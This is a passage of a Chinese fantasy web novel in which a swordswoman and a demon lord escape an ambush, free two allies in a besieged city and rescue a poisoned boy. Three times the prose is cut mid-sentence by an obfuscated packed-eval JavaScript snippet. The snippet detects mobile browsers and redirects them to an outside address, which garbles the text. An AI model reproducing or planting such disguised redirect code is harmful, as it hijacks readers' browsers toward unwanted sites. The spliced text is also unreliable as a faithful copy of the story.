城中此刻却显出诡异的安静来,比来时更甚。 阮小竹将鄢丰几人送到城门口,却听远处马蹄声四起。 寂静被巨大的马蹄声打断,大队人马踏着沙尘而来,将几人团团包围,口中齐声高喊—— “捉拿魔君第五昭,城主重重有赏!” 为首的是个看起来大腹便便的男人,身披铠甲,一马当先,长矛直指第五昭的鼻尖。 “奉吾主飞羽之命,擒拿魔君第五昭!” 阮小竹看着他身后的锦衣男子,半天才发出声音:“……父亲?” 男子颔首,举起手中刀—— “小竹,你做的很好。还有桑儿……” 阮小竹睁大眼睛。 . 20. 针锋(中) . 剑拔弩张。 在场的每个人都神色各异,一时间竟静默下来,没有一人开口。 为首那人目光锐利的扫过鄢丰一行每一个人,最终定格在阿桑身边的少女身上。 只有阿桑同她相处时日较长,鄢丰几人只知道姑娘名叫小玉,便遇上了此番变故。 那臃肿的男人死死盯着小玉,后者怯怯抬起头与他对视片刻,似是慌张恐惧的,葱白的手轻轻搭上阿桑的左肩,往他身后躲了躲。 那人却还瞧着她,阿桑蹙起眉,将小玉挡在身后,他才最后瞥了她一眼,冷哼一声移开视线,再次面向此刻面无表情的第五昭: “快快束手就擒,你们脚下我已命人布下杀阵,胆敢不从者,就地处决!” 他身后锦衣的男人急急朝着阮小竹两人喊道:“小竹,桑儿,还愣着做什么,还不快过来父亲这边。” 阮小竹不可置信的看着面前朝她伸出手的男人,一触即发的气氛被这一声喊再次熄灭,只听男人再次开口,指着身前那肥硕的男子,得意笑道:“快见过楚将军,飞羽大人特特派他来接应,旨在一举擒拿魔君第五昭及其党羽,将他引来元城,你们已然功德圆满了。” 阮小竹震惊的摇摇头,齿缝里蹦出颤抖的问话来:“……你们骗我?” 那人脸色一沉:“快过来,还是说,一趟下来你们也想……同这孤家寡人的暴君,同流合污,背叛元城?” 阮小竹和阿桑同时抬头看向自己的父亲,半天她才喃喃道:“不,不可能……父亲,祖父呢,让我见祖父,让我同他……” “够了!”那男人厉声喝断她未完的话,阿桑警惕的抬起手中的短刀向前一步,将阮小竹护在身后,男人抬手一挥一声令下,“给我将第五昭,同这两个不知天高地厚的逆子拿下!” 第五昭冷笑一声,抬起手,捏住近在咫尺的长矛:“呵,就凭你们?” 只听一声极尖锐刺耳的声音,那把长矛的尖刺竟被他硬生生掰断,划出一道破空之声,径直朝下而落,直直刺穿了那为首之人身下马匹的眼睛! 受惊的马匹发出一声惊响,马蹄扬起浩浩沙土,与眼睛的血交融,同时马匹不管不顾的带着那男人冲向第五昭! “快、快拿下!拿下这些人——!” 男人拉着缰绳不受控的往前冲,口中慌乱的发出指令,长矛一时间齐齐指向第五昭,高城之上无数□□也蓄势待发。 第五昭冷哼一声,自然不可能让这马匹威胁到自己,飞身而起直将男人一脚踹翻下马,脚尖借力在马身上一踏,忽然笑了一声,打了个响指—— 黑色魔气丝丝缕缕浮现在马身上,下一刻爆出巨大气浪,马匹连惊叫都没发出来便血沫横飞! 周围的士兵和领头人全都被炸得翻出老远,灰头土脸抬起头却只见面前不远处那个黑衣的魔君仍从容立在原地,连一丝尘土都不曾沾染。 胖男人终于沉下脸色,方才的意气风发半点不见了,黑着脸,抬起手—— “咳!咳咳咳!!!” 他指令未及下达反而先被尘土呛得咳了起来,同时第五昭和温石身边突然亮起一阵光芒,下一刻出现一个精瘦的黑衣男子来,他面色苍白,似乎有病未愈,看到第五昭眼前一亮,单膝跪地,双手抱拳:“属下温冥,特护君上归城!” 温石不动声色的笑了笑,第五昭低眸看着他,点点头:“……你来了。” “属下这就带君上出去!” 温冥低下头,魔气浮现在他周身,微弱的光芒将第五昭和温石包裹住。 “是传送咒!” “想跑!” 胖男人回过神来,踉踉跄跄站起来,大喝一声:“杀阵!快发动杀阵!” 在场几人均是心里一惊,鄢丰看着这杀阵亮起光芒,心中计算着距离,看向阿桑身后的少女。 那名叫小玉的少女此刻抓着阿桑衣角的手指节都微微泛了白,眉头紧蹙,眸光微动,似乎是怕极了。 ——这个距离,如果杀阵发动的一瞬间行动,最多只能带走一个人。 目光转向第五昭那边,他正慢条斯理戴上温冥递来的黑色手套,温冥仍低着眼眸念咒,温石警惕的挡在两人面前,面色沉沉的低头看着脚下光芒越来越大的阵法。 “千里传送咒。” 鄢丰认出来,千里传送咒本就消耗巨大,耗时较长,而温冥又刚从昏迷中醒来,想一次从杀阵手下救出两个人—— 难。 杀阵布下后一旦发动,必然饮够鲜血才可破,别无他法。 鄢丰凝重的看着温冥,第五昭却似乎不甚在意,反而回过头,在杀阵愈发耀眼的光芒下连漆黑的瞳孔都被照耀的有了光芒,眸光流转最终与她对视。 鄢丰平静的看着他复杂的目光,心中默数—— “三……” 管不了这么多,鄢丰一定心神,在场除了那少女小玉,其余都有自保能力,若只能择一人,那么毫无疑问。 她将剑拔出几寸。 二。 银光闪烁! 第五昭的瞳孔也被这光芒照得震了震。 他却意料之外的没有移开,反而愈发紧紧看着她。 一。 温冥停下来,吐出口血来,被温石扶着,同时朝第五昭看去。 第五昭微微转头,身形一点点化作飞粉,却终于开口,嘴巴一张一合,只说一句—— “你可别死在这了,鄢丰。” 咒成,千里传送! 与此同时鄢丰也不再犹豫,只朝着他们消失的方向看了一眼,下一秒甘镬剑瞬间飞起,她一脚踏在剑上,瞬息之间抱住阿桑身后的少女: “阿桑,快走!” 杀阵开启的瞬间防守最弱,虽说是杀阵,但如果挑中这一瞬的时机或可有一线生机。 阿桑却毫不犹豫转过身朝阮小竹的方向而去! 鄢丰顾不上其他,只得先带着小玉翻上屋檐,身后箭矢如雨般袭来,包裹着致命的魔气,攻在鄢丰身后却好像毫无效果,她身轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557271|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如燕,磅礴的灵气将箭矢尽数打落,即使怀中抱着另一个人,速度也丝毫不慢。 然而身后杀阵的光芒却突然弱了下来,鄢丰心中一沉,却不敢耽误,带着小玉朝城中深处而去。 . 鄢丰最终带着小玉回到了先前阮小竹的那座宅子。 此地终究不宜久留,如今阮小竹和阿桑两人凶多吉少,多半很快就会有人找来,通缉令也很快会在城中下达。 届时情况会很不妙。 鄢丰想现在这里歇脚片刻,方才那杀阵光芒淡去太快,似有古怪,阮小竹和阿桑说不定还活着。 若是如此,他们在城主府中的处境也一定相当不妙,她得去救他们。 至于小玉…… 她看向此刻正坐在对面黯然垂泪的少女,正要开口,对方却先她一步:“姑娘两次救小玉于水火之中,小玉无以为报……”她声音哽咽,眼泪还在止不住的流下,显然方才的杀阵将她吓得不轻,她竟跪下来,双手作揖再拜,“姑娘若有何需要小玉的地方,定当竭尽全力,万死亦不辞。” 鄢丰蹲下身看着她。 少女白皙美丽,身形纤细,像极了逝去的鄢年。 此刻眼泪从她眼眶滚下,鄢丰叹口气,将她的泪水擦去,道:“你平安无事便是对我,也是对阿桑他们的报答了。只是如今……阿桑他们生死未卜,我须得再到城主府一探。此行凶险,我只盼能将你安顿好。” 小玉却挣开她的手低下头去:“阿桑和小竹姑娘也是我的救命恩人,姑娘请带我同去!说不定……”她声音顿了顿,随即坚定道,“说不定姑娘会有用到我的地方。” 鄢丰摇摇头,不答:“也罢,此地虽然不宜久留,但看来暂且安全,我们且先在这里住一夜,明日再做打算吧。” 鄢丰将小玉送回她原先的房间便离开了,心中算计着待到子时就先去城主府一探。 鄢丰在小玉隔壁的房间歇了片刻,等夜色渐渐沉下来更多,换了一身黑衣。 那是她囊中带的唯一一套衣物,只为夜行而备。 元城的寂静远超永夜城和魔域主城,鄢丰脚步轻盈跃上屋檐,窥得檐外一丝灯火。 一阵风声吹动她的一袍,忽而夜鸦私语,几只黑乌鸦从远处飞来,闲闲落在院落的老树上,扑腾两下翅膀。 她似有所感的转过头朝下看了一眼,正欲飞身离开,却见小玉的房门从里轻轻推开,鄢丰眉头一紧,却见少女小心翼翼探出头左右瞧了瞧,叹口气,从怀中掏出一封信笺来。 小玉警惕的不断观察着四周的动静,确认没有其他人,才靠近老树,敲敲枯朽的树干,夜鸦闻声而落,竟乖巧的落在她指尖! 小玉微微耸着肩,将信笺卷一卷塞进夜鸦脚下的筒中…… 夜色浓重,乌鸦嘎嘎叫着飞向灯火通明的街道,少女长叹一口气,坐在冰凉的石阶上,望着它们飞远。 似是松了一口气。 鄢丰蹙眉,犹豫片刻,飞身朝乌鸦离开的方向追去。 . 21. 针锋(下) . 鄢丰轻功向来很好,追着那群飞走的乌鸦从城南到城北—— 这群乌鸦看起来是要出城去送信。 城门口意料之内的守卫森严,甚或说是灯火通明,烽火熊熊点燃,昼夜不歇,兵卒一遍遍警惕的巡逻,手中打着灯笼。 时不时传来吵闹的人声,城主府内外俱是如此。 鄢丰始终小心着不惊动那群黑鸦,不想到了这里它们却已然敏感的被通明的灯火和嘈杂的人声吓得惊叫起来,嘎嘎两声加速朝着城外飞去。 鄢丰暗叫不好,脚下速度也加快跟上它们飞行的速度,乌鸦的叫声却更大起来,似乎发现了被人追踪。 为首的乌鸦突然停了下来。 在后的乌鸦争先恐后的扑到首领的身上,竟是要将它吞噬殆尽! 爪子上绑着的信笺顷刻之间化为齑粉,下一刻那飞粉竟无风而动,朝着鄢丰面门而来! 鄢丰脚下一动,偏头躲过,那边手却忽然被一股大力抓住,她猝不及防被人粗暴的捂住口鼻,急急下坠。 飞粉在空中被风打散,却被来人一身黑色斗篷尽数挥洒到远处,缓缓下落,惊起远处巡兵的惨叫。 士兵扑通倒地的声音不断传来,鄢丰脚尖落地,另一边却在空中划出一道逼人气浪,她背对着对方,却面不改色一脚朝他面门踢去! 对方始料未及闷哼一声,覆着黑色布料的手应声松开,竟是硬生生吃下这一击,动也没动。 头顶传来不耐烦的声音:“你知不知道刚才那个是……” 鄢丰手按在剑上,警惕的回过头,剑正欲出鞘,却对上第五昭阴晴不定的眼睛。 “阿昭?!” 第五昭意识到什么,收了声,转而冷哼一声,他眉头一蹙,拽着她胳膊一推,紧紧贴住身后冰冷凹凸的墙壁。 身后传来兵甲摩擦的铿然之声,愈来愈清晰—— 巡兵正朝着他们快速靠近。 “谁在那边?!” 他们所在是一处昏暗的墙角,两人皆穿黑衣,第五昭趁这一声响起斗篷一甩拉着鄢丰,带起一阵风来,飞上远处的房檐。 身后靠近的巡兵最终却并没有走到那个墙角。 鄢丰和第五昭立在房上,看到一个锦衣青年懒懒打着哈欠从门内走出来:“怎么了,大晚上吵吵闹闹的。” 士兵当啷当啷的铠甲声响起,巡逻的人朝着来人跪下,恭敬道:“先生。” 他们彼此对视一眼,最终道: “禀告先生,方才瞧见一群黑鸦飞出城去了,不知是否……” 青年又打了个哈欠,抬手擦擦眼睛,摆摆手:“不必管……”他抬起头看向城外的方向,“那群黑鸦,可不是你们能管得了的。” 鄢丰一蹙眉,身形隐在黑暗当中,却微微露出脑袋,想看清那青年的模样。 青年却突然展开手中折扇掩住半边脸,闲闲扇了扇:“没什么事就接着巡逻去吧,可疑的人别放走就行——” 青年边说着,枕着手臂走远,独独露出一双眼睛,闲散的逡巡着远方。他身影越来越远,直到要进入门内,却忽然停了下来,目光似有若无朝两人所在的地方瞥了一眼。 随即伸了个懒腰,大步迈过门槛,慢悠悠回去了。 这人身份不简单,鄢丰身形一动,准备随着这人瞧瞧。 手却突然被人抓住,鄢丰动作一顿,蹙眉看向第五昭,随即叹口气:“你怎么会回来?” 第五昭挑眉:“回来给你……收尸啊。”他迎着鄢丰的目光,默了默,半晌突兀的笑了一声,补充道,“哦——还有元城那两个人,也是。” 鄢丰望着脚下溢出的灯光,平静下来,默了片刻,也不再行动,过了一会儿看向第五昭,笑了笑,突然问:“先前的伤可有好些?” 第五昭一愣,偏过头:“区区小伤,何足挂齿。” 鄢丰却皱起眉:“你没上药么?” 第五昭看了她一眼,不知想起什么,突然笑了起来:“我还道你们分明是亲姐妹,怎无半点相似之处。现在看来倒是错了,”声音一顿,他抬起头不再看她,却放轻了声音,像是喃喃自语,“爱管闲事这一样,你们真是如出一辙。” 鄢丰低眸看着底下人来人往,一拨又拨巡兵来了又走,想了想,试探着道:“原本我今日来只是想探一探虚实,但既然遇到了你……” 她看向第五昭,等对方也抬起头疑惑的看向她,才一扯装剑的背带,两眼一弯:“若他们还活着,”她手心向上,伸到他面前,“你会与我一同把他们救出来吧?” 鄢丰短暂的生平当中,曾经有无数这样的场景。 鄢丰第一次离开昆仑,在昆仑山下的村镇,曾救过一个小孩儿。 那是在一座土山上,清明时节,山上熊患严重,她上山前就被无数人警告过,别上那山,小心会丧了命。 鄢丰笑着辞别,只因她遇到一位妇人。 她瞧见她斩杀妖魔的样子,跪在她面前,拽着她的衣角不肯放手。 鄢丰彼时年少,蹙着眉不知所措的站在原地:“阿、阿婶……有、有什么事,您起来再说,起来再说吧……” 妇人患了肺病,正要开口,却撕心裂肺的咳嗽起来,只流着眼泪摇头。 鄢丰问了半天才明白,这妇人死了丈夫,却身患肺痨,清明寒气还大,身子受不住,病倒了。 家中只有一个十二岁的男孩,他在她床前哭了一晚上,第二天就不见了踪迹。 妇人哭着指向那座立着“熊出没”三个红色大字牌的山脚:“求求仙人救救我的孩子……他拿了家里的斧子,一定是上了那山……呜呜……” 后来鄢丰上山去,挑了熊窝。 却没有找到那个失踪的孩子。 鄢丰不死心在这山上找了三遍,最终找到了他。 他竟还活着,灰头土脸的站在猎人布下的陷阱坑底,身边放着一捆柴。 “你是阿宇吗?” 男孩警惕的抬起头看着她,白皙的脸蛋被灰土掩盖得看不出样子来,衣服破破烂烂的,膝盖处有大块大块凝固的血迹。 唯有眼睛黑黝黝,却闪烁着绝望、无神的光芒。 如果算上这日,那是他在这里的第七天了。 他瘦得几乎可以看出骨头来,嘴巴抿成一条线,微微下垂。 想要把这个孩子救出来、带回家去的念头一瞬间盈满整颗心。 她翻身三两下跳下那坑,稳稳落地,小男孩吓得退了三步,惊恐的看着他,却仍然不发一语。 她试着笑得亲切一些,朝他伸出手:“是你娘叫我来找你,姐姐带你回家,好不好?” 此刻第五昭苍白的脸被冷月衬得更冷,正垂眸望着她那只伸出的手。 看不清神情,鄢丰却无端觉得就与那一日站在坑底绝望而沉默的小男孩的模样重合起来。 周遭似乎都突然安静下来,鄢丰只能听到自己心跳的声音,希翼的、小心的对上他抬起头的目光,竟感到几分忐忑。 黑皮手套片刻后蹭过她手心,鄢丰和他对视,手指慢慢合拢,拢住他裸露在外的手指的皮肤,终于弯起眼睛笑了起来。 却听第五昭嘴上冷哼一声,道:“那两人的死活,与我何干。” 鄢丰却扬起眉,清澈的黑色瞳孔好像春潭荡漾般,更加温和的笑了,而后她竟真想了片刻。 半晌才松开手,在第五昭疑惑的目光下解下佩剑,郑重其事地递到他手中,声音轻而温和: “我的剑,交给你。” 鄢丰话毕,不等他答话,自顾自转过身,看准缝隙,拉着他,飞速下坠! 下方巡兵的巡逻顺序已然被她摸透,鄢丰此刻脚步轻盈得像一只飞燕,只让人以为那把剑的太重,从前制约着她的脚步。 ——“这是我的剑,你拿着它,我就伤害不了你啦。……现在,跟我走吧?我带你回家,找你的娘亲去!” . 此刻元城城主府的水牢里一阵兵荒马乱。 刀剑相鸣之声不绝于耳,阮小竹穿梭在兵卒之间,手中长鞭使得生风,颊边挂了彩流出血来,衬得她整个人都多了三分嗜杀气。 她鞭下招式比当日在魔宫甚至还要凌厉,杀招层出,却不见体力消耗,一鞭见血,把她麻布的囚服都染得暗红,微微发红的眼睛几乎看不出任何除了“杀”以外的其他意蕴。 十步杀一人。 “疯了!她疯了!少主——少主她——” “快跑!她要来了!” “啊——!救……” “别……别杀我……少主、少主……啊!!” 鄢丰和第五昭潜入的时候,便正撞见孑然而立的阮小竹,目色狠厉的收紧长鞭,对方连惨叫都来不及发出,头颅竟生生被勒断,狰狞充血的双眼大睁,随着头颅在地上骨碌碌滚了两下,鲜血喷溅而出,阮小竹麻木的一擦,下一刻长鞭便朝着鄢丰二人而来! 两人都始料未及,鄢丰一边躲闪着,试探着唤她:“小竹姑娘?” 阮小竹目光清明一瞬,看到鄢丰,麻木的扔了长鞭,终于脱力的跪在地上,血泪从她眼中流出,却露出一个难看的笑来,她低着头没再看向他们,却喃喃似自问:“……你们……怎么来了。” 鄢丰蹙眉:“小竹姑娘,发生什么事情了?……阿桑呢?” 阮小竹摇摇头,笑了笑,不断擦去脸上流下的泪,摇着头:“我不知道。我不知道……可是,可是,”她竟下一刻又站起来,踉跄地扶着监牢的栏杆,自顾自地往前走,“可是……” 下一刻她语气却又癫狂起来,周身再次积蓄魔气,怒吼着挥出一鞭:“我要杀了你!杀了你——!” 鄢丰和第五昭也同时看向来人。 正是那日曾经见过的,阮小竹和阿桑的父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557272|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲,阮成仁。 “阮小竹!你要亲手杀了你父亲吗?!” 阮成仁也怒吼着,手中双刀却已然出手,如蛇如魅,竟是毫不留情的攻向阮小竹要害之处! “哈哈哈哈哈哈哈哈……父亲……父亲?父亲?!” 阮小竹不躲不闪,以攻为守,见招拆招,眼中热泪却不断流出:“你也配?!” “你果然是魔君第五昭的同党!”阮成仁挡下她的鞭子,反而看向一边的第五昭,得意的笑起来,“哈哈哈哈哈哈哈哈!今天就将你们一网打尽!来人啊!来人!” 阮小竹却不管不顾集结的兵卒,招招竟更加狠厉,声声泣血! “你这弑父叛君的东西,我杀了你!” “呵,弑父叛君?”阮成仁仰头大笑起来,“下一任家主的人选,本就该是我!你!阮小竹,你才是抢了你爹的位置的人!” 另一边第五昭和鄢丰也正将前仆后继而来的叛军士兵击退。 鄢丰手中无剑,却剑意自成,一边抵挡着眼前的攻击,一边注意着阮小竹那边的动向,将所有试图偷袭她的士兵严密挡住。 第五昭反而握着剑出神,望着那柄形状普通的长剑半天不动。 士兵越来越多,那日见过的姓楚的胖将军也走进来,与第五昭缠斗起来! “阿昭小心!” 鄢丰躲过攻击,看到第五昭竟还在发呆,急急出声,闪身到他身边,涓涓温和的灵气覆满甘镬剑,将胖将军狠辣袭来的一击挡下! 第五昭回过神来,眸光流转,却是瞧了鄢丰一眼。 此刻她高高束起的长发微微凌乱的铺在她左肩,半遮住面容。她衣袍猎猎翻飞,低着头抹去颊边血,将长发甩到身后,蝼蚁般的士兵争先恐后之间,她竟是闭了闭眼睛,再睁开时,漆黑的瞳仁悲悯而坚定,却只一瞬间便将周围一圈人击退! 她本身就是一把无往不利的剑。 当她睁开眼睛的那一刻,便应如是。 第五昭笑了一声,轻巧的躲开面前人的第一击,拿着剑的手腕转了转,发出骨骼轻响声。 他似是漫不经心的挥了两下剑,这个动作更激怒了对方,换来更凶狠的攻击。 他反而笑意更深:“正合我意。” 他虽用剑生疏,在这草包样的胖将军手下却游刃有余,剑锋正逆随心而出,逗弄一般将他身上划出深浅不一的道道伤口。 几个回合下来,对方已然恼羞成怒,回过头:“来人啊!还不快……” 然而话未说完便惊愕的发现士兵已然尽数倒下,只对上浑身浴血的阿桑阴沉布满杀气的眼神。 鄢丰看到阿桑也一喜,分神间却不想身后的士兵抓了一把沙子直冲她面门! 鄢丰急急转身,下一刻却眼前一黑!黑色的斗篷将她严实的罩住,黑气将飞沙尽数回击! 鄢丰听到身边刀剑声,却直觉没有危险,怔愣的掀开斗篷,哭笑不得的看着面前的第五昭。 对方似有所感的回过头,正看到她身上还披着斗篷,呆愣看着他,第五昭也一愣,无端觉得心口一跳。 视线交叠,鄢丰歪过头笑了:“……谢了,阿昭。” 第五昭嗯了一声,又匆匆转过头,不再看她,三五下便将残兵杀个七零八落,没再给她半点儿出手的机会。 阿桑显然已然将外面的援军阻断,第一百八十七招,阮小竹长鞭如蛇信紧紧缠上了阮成仁的脖颈! 阮小竹红着眼睛看了眼阿桑,后者朝她笑了笑,她才回过头,愤恨地盯着阮成仁。 “小竹……你真要,杀了爹吗?” 阮成仁双手不自禁的抓住那尽是倒刺的长鞭,艰难的张嘴。 阮小竹昔日明媚的眼睛如死水般无神,死死盯着阮成仁,笑了起来:“是啊,父亲,这都是你教我的呀……这叫做,”长鞭瞬间收紧!将阮成仁一瞬毙命,阮小竹颓然倒地,却还在笑,“——有其父,必有其女嘛。” 阮小竹盯着死去的阮成仁出神了半天,才一点点转动眼珠看向第五昭和鄢丰:“我送你们,离开元城。” 她漠然从阮成仁的尸体上取下已经染了血的城主令,轻车熟路带着他们出了城主府,策马扬鞭,不顾身后的追兵,长鞭一甩便将攻击尽数挡下,直送到城门外,她才停下来: “就到这里了,恕不远送。” 鄢丰蹙眉:“你不同我们一起吗?虽然阮成仁已死,但外面那些叛军的大批人马还在,你和阿桑都受了伤,恐怕……” 阮小竹却摇摇头,真正笑了出来,望着染血的一片城墙,道:“正好,先前所说的约定,还作数呢。假如我阮小竹能平了这元城之乱,来日,”她拉住阿桑的手,疲惫却坚定的看了第五昭一眼,扬鞭一甩,马匹扬起风沙,马蹄声声远去,只风送来她最后一句话—— “元城城主阮小竹,定举城来援,报这一战之恩!” . 22. 风动(上) . 鄢丰与第五昭快马离开,朝着魔域主城的方向去。 鄢丰一路上看到无数路过的逃亡者,从他们口中听说到关于叛军的许多事情。 那叛军头目,飞羽,是前任魔君第五长渊手下一员大将,也正因如此,才一直将弑父上位的第五昭怀恨在心,经营多年,如今联合魔域七十二城半数之人,集结而来,一路堪称所向披靡,占领了魔域大半维持中立的城池,正一步步杀向主城。 虽则对于修道者而言,御剑而行再寻常不过,然而在魔域,瞬移、加速的法术对于魔道者却异常困难,好在城与城之间距离都不大远,而每座城都有大大小小的传送阵,可以通往各处。 他们此刻便是如此。 要去的是新垣城的地界,城主名叫第五霖,似乎与第五昭还有些亲缘关系,如今是为数不多处于中立、还未被飞羽的部队染指的地方。 第五昭来时已然探查清楚,新垣城的一个传送阵,就在元城三里外的树林中心,在那里借传送阵回去最为稳妥。 “这么说来,这位城主是你小叔父?” 面前的路愈发清晰,人烟倒是愈发稀少,森森树林的轮廓渐渐显现在两人面前,鄢丰有一搭没一搭同第五昭讲话。 第五昭听到她的话,只哼了一声,不置可否,蹙着眉头似乎不愿意多讲这人的事情。 鄢丰也不再问,树林只有一个入口,狭窄只够一人通过。她翻身下马,下意识一摸剑袋,却才想起先前给了第五昭,还不及要回来。 她似突然想到什么,看向第五昭,却刚站稳便被一个小孩儿撞了一下。 话未出口,鄢丰倒是先低下头看着这突兀出现在树林前的小孩儿。 他衣衫褴褛,周身感觉不到魔气,也感觉不到灵气,是个凡人,身上尽是土,他也不管,灰扑扑的小脸怯生生抬起来,警惕的看了她一眼,便转身往树林里跑去。 鄢丰一愣,刚要伸出的手抓了空,看着他一溜烟跑走,最终只无奈摇摇头。 “站住。” 第五昭却蹙着眉,三两步轻松追上那小孩,提着他领子,不顾他挣扎要把他拽回来。 “阿昭!”鄢丰见状急忙开口,对着那面上朝她龇牙咧嘴的小孩儿温和的笑了笑,走过去,不动声色的从第五昭手中接过那小孩,稳妥的放下,对第五昭道,“我们还要赶时间……只是撞了一下而已,没关系的。” 第五昭默不作声地看着一下子就跑没影了的小孩,不说话。 鄢丰又喊了他一声,他回过神正对上她笑着的模样,才点点头。 鄢丰却突然低下头看了一眼他藏在袖中的手,一缕微弱的魔气刚刚从那指缝间流出,远远飞向树林深处。 “怎么?”第五昭捋捋袖子,出声道。 “没什么,”鄢丰微微一笑,“方才我是想问你……如今形势严峻,我们可是须得今日回去?” 第五昭嗤笑:“他一个飞羽算什么东西。” “还是切勿轻敌,阿昭,只是……” 第五昭不耐的打断她:“你若是累了,去新垣城里歇息几日也无妨。过了这林子就到城内了。” 鄢丰张了张口,最终只是点点头,笑道:“好,那就休息两日再回去吧。” 两人一前一后往前走,鄢丰跟在第五昭后面,他出人意料走得很慢。 鄢丰漫不经心跟着,正将这些日子发生的日子一一梳理,出神之间却突然撞上了第五昭。 鄢丰蹙眉,回过神来:“阿昭?” “救命!救命啊!救命……” 不远处传来呼救声,是小孩儿的声音—— 是方才逃走的孩子? 鄢丰疑惑的看向远处声音传来的方向,身上却突然一重,她回过头,这才发现第五昭浑身僵硬,贴着她的皮肤一片冰凉,身上头上却早已出了一身冷汗,此刻晶莹剔透竟然正顺着他脸颊流下,在瘦削的下巴上停留片刻,而后润湿她的衣裳。 “救命……救命啊……” 远处的呼救声多了几分绝望,似乎在催促她赶快去。鄢丰看了一眼远方,又看了看第五昭: “阿昭,阿昭?……怎么了,是受伤了吗?” 他却没有答话,似乎全无力气,只是大口大口呼吸,伏在她身上胸口起伏便更加明显。 “救命……救命……救……谁来……” 远处的呼声也愈发微弱,好像比催命符更加让人觉得焦急。 然而此刻必须立刻做出决定。 鄢丰看出第五昭似乎不是伤口发作,而是受了内伤,或是被什么东西控制。 他呼吸微弱了几分,竟似弥留,却好像痛楚减轻了几分,鄢丰蹙着眉,飞快地问他:“阿昭,到底怎么了?” 第五昭却只摇摇头,艰难地开口:“无……事……” 远处的呼声已然不再,鄢丰看了他一眼,叹口气:“那……你在这里等我一下。很快就会回来的。”将他稳当的靠着树坐下,侧身,与他擦肩而过,径直往前而去,带起一阵风来。 露出半截的苍白手指却颤颤抬起拽住她的袖子,鄢丰脚步一顿,垂眸与他眼神相对。 静默回荡在树林当中,好像时间静止。他此刻本就虚弱,力道并不大,眼神却倔强的写着“别去”。 他死死盯着鄢丰无波无澜,春潭般沉静的眼睛,鄢丰与他对视,谁也没有开口。 片刻后,毫不犹豫抽出那角衣料,猎猎之声擦过他耳间,鄢丰再不回头,快速朝着树林深处而去! 鄢丰只觉得此刻心如擂鼓,呼吸急促,却片刻不敢停,凭着记忆朝着求救声的方向去。 好在狭窄的小路很快开阔起来,速度快了很多,鄢丰没走出多远便看到了倒在地上几近昏迷的小孩儿。 他已然奄奄一息,整个人蜷缩成一团,手指甲蓄满尘土,还生生折断了几个,身边的土壤分明硬实,却被划出几道触目惊心的血痕来,尘与血混在一起让人一阵头皮发麻,他似乎是痛极了,头上出满了汗,嘴里还在喊“救救我、救救我”,却微弱的几乎听不到。 而罪魁祸首,便是若隐若现之间,一股紧紧缠着他,萦绕不散的黑色魔气。 鄢丰脸色一沉。 这魔气彻底消失,便是全数进入他体内,这孩子便再无一分活下来的可能。 她不敢耽误,轻手轻脚的抱起那孩子,一股灵气温暖而柔和将他包裹,驱散他周身和体内萦绕不散、横冲直撞的那些魔气。 男孩儿终于松开紧紧抓住她衣领的手,疲惫的睡了过去。 鄢丰长舒一口气,看着眼前熟睡的孩子,轻轻为他擦去汗水,又撕了衣角布料草草包扎了一下他手指的伤。 . 鄢丰想了想,心中放心不下,还是抱着熟睡的孩子往回走,准备去找第五昭。 然而她一站起来小孩便惊醒了,先是警惕的看着她,快速退开两步,半晌才低下头看了看自己包扎的手指,感受到终于畅通的呼吸,试探着问:“……是你救了我?” 鄢丰不好意思的笑了笑:“不好意思,吵醒你了吗?我找不到别的,只能先用我衣服的布给你包扎了手指。” 小孩眼睛一亮,怯怯的拉住她的衣摆:“你要去哪里,可以带上我吗?” 鄢丰想了想:“我们见过的,我要去找方才那个哥哥。” “唔,他……”小孩儿恢复活力竟很快,想起方才凶神恶煞的男人,撇了撇嘴,“他啊……” “他不是故意的,姐姐替他向你道歉。你呢,”她微微弯下腰,“下次撞到别人,也要好好道歉。” 男孩儿垂下头,嘟嘟囔囔应了,有点局促的被她拉着往回走,竟沉默下来。 “你叫什么名字?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557273|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >鄢丰看他沉默,便开了口。 “我叫宋闽!姐姐你呢?” “鄢丰,鄢城的鄢,瑞雪兆丰年的丰。” “鄢、丰……好复杂啊,”宋闽摇摇头,“我得记着,等会去告诉姐姐,这是我的救命恩人!”他看向鄢丰,眼神亮亮的,“我们以后——我和我姐姐,会报答你的!” “你们不必谢我……”鄢丰失笑,轻轻拍拍他毛茸茸的脑袋,想到什么,半天不作声,良久才继续道,“我是你们魔君的手下,是他听到你的求救声,要我来看看的。” “魔君?”宋闽狐疑的皱起眉,最终又展开,点点头,“好吧……那……那我和姐姐也会报答那个魔君的!” 鄢丰转头和宋闽说着话,此刻才转过头看前面,才看到第五昭不知何时已然走到他们面前了。他似乎听到了他们说的话,不知道听到哪一步,复杂的看了鄢丰一眼。 